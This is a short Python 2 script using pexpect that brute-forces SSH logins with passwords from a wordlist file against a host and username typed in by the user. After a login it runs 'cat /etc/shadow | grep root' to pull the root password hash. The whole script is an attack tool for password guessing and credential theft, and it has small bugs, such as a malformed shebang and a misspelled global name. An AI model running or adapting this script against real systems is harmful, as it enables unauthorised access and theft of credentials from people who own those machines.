#! usr/bin/python2.7
import pexpect
PROMPT=['#','*','>>>','>','$']

def command(child,cmd):
	child.sendline(cmd)
	child.expect(PROMPT)
	print child.before

def connect(user,host,password):
	ssh_newkey="Are you sure you want to continue connecting"
	connstr='ssh '+user+"@"+host
	child=pexpect.spawn(connstr)
	ret=child.expect([pexpect.TIMEOUT,ssh_newkey,'Password : '])
	if ret==0:
		print ("[-] Error connecting : timeout_1")
		return 0
	if ret==1:
		child.sendline('yes')
		ret=child.expect([pexpect.TIMEOUT,'Password : '])
		if ret==0:
			print ("[-] Error connecting : timeout_2")
			return 0
	print("[*] Attempting password : "+password)
	child.sendline(password)
	child.expect(PROMPT)
	return child
def main():
	host=raw_input("Enter hostname : ")
	user=raw_input("Enter username : ")
	global paswords
	passwords=open('wordlist.txt','r')
	for pwd in passwords:
		child=connect(user,host,pwd)
		if(child==0):
			continue
		command(child,'cat /etc/shadow | grep root')
if __name__=="__main__":
	main()